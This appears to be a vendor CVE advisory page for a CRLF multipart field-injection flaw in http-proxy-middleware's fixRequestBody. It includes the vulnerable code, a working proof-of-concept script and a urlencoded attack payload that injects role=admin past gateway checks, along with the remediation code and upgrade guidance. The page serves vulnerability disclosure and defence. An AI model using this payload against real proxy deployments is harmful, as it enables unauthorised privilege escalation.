CVE-2026-55603 — http-proxy-middleware
HIGHCVE-2026-55603 is a high-severity (CVSS 7.5) CWE-93 vulnerability in http-proxy-middleware. A fix is available for http-proxy-middleware — see the affected versions and patch details below.
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55603.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-55603 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
http-proxy-middleware📦http-proxy-middlewareReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
let str = '';
for (const [key, value] of Object.entries(data)) {
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
}
}
A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.
By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.
Preconditions
All three must hold; this narrows real-world exposure and is the basis for AC:H:
- The proxy app populates
req.bodywith a non-multipart parser (express.urlencoded,express.json, or text) so an injected boundary in a value is not split on input. - The proxied (outgoing) request is sent as
multipart/form-data(e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. - The app calls
fixRequestBody(the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.
Note: a pure multipart-in → multipart-out flow (e.g.
multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, soreq.bodyand the backend agree. The desync specifically requires a non-multipart input parser.
Impact
When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:
- Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids
role=adminis bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
- File-part injection inject a
filename="..."part into the upstream multipart stream.
Proof of Concept
// npm i [email protected] (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';
// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};
// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
h: { 'content-type': 'multipart/form-data; boundary=BB' },
getHeader(n){ return this.h[n.toLowerCase()]; },
setHeader(n,v){ this.h[n.toLowerCase()] = v; },
write(d){ out.push(Buffer.from(d)); },
};
fixRequestBody(proxyReq, req); // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:
--BB
Content-Disposition: form-data; name="user"
alice
--BB
Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys
admin
--BB--
req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--
Remediation
Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
const bad = /[\r\n]/;
let str = '';
for (const [key, value] of Object.entries(data)) {
const v = String(value);
if (bad.test(key) || bad.test(v)) {
throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
}
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
}
}
(Reject is preferable to silent stripping, to avoid masking malicious input.)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | http-proxy-middleware | ≥ 3.0.4&&< 3.0.7 | 3.0.7npm install http-proxy-middleware@3.0.7 |
| 📦npm | http-proxy-middleware | ≥ 4.0.0&&< 4.1.1 | 4.1.1npm install http-proxy-middleware@4.1.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for http-proxy-middleware, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update http-proxy-middleware to 3.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55603 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-55603 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-55603. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Red Hat rates this issue as having Moderate impact for Red Hat products that bundle http-proxy-middleware 3.0.5 in a proxy configuration that re-emits an already-consumed request body via fixRequestBody(). Affected components are tracked via delegated engineering trackers and include Cluster Observability Operator's…
Restrict network access to affected proxy services. Do not pass untrusted user input into proxy target or header configuration. Upgrade http-proxy-middleware to 3.0.7 or 4.1.1 (or later) once updated packages are available for the affected components.Source: Red Hat security advisory for CVE-2026-55603 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Migration Toolkit for Applications 8.1 | mta/mta-ui-rhel9:1785169013 | RHSA-2026:50300 |
| Red Hat Trusted Artifact Signer 1.3 | rhtas/rhtas-console-ui-rhel9:1784105894 | RHSA-2026:42085 |
Frequently Asked Questions
Is CVE-2026-55603 in your dependencies?
O3 Security finds CVE-2026-55603 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.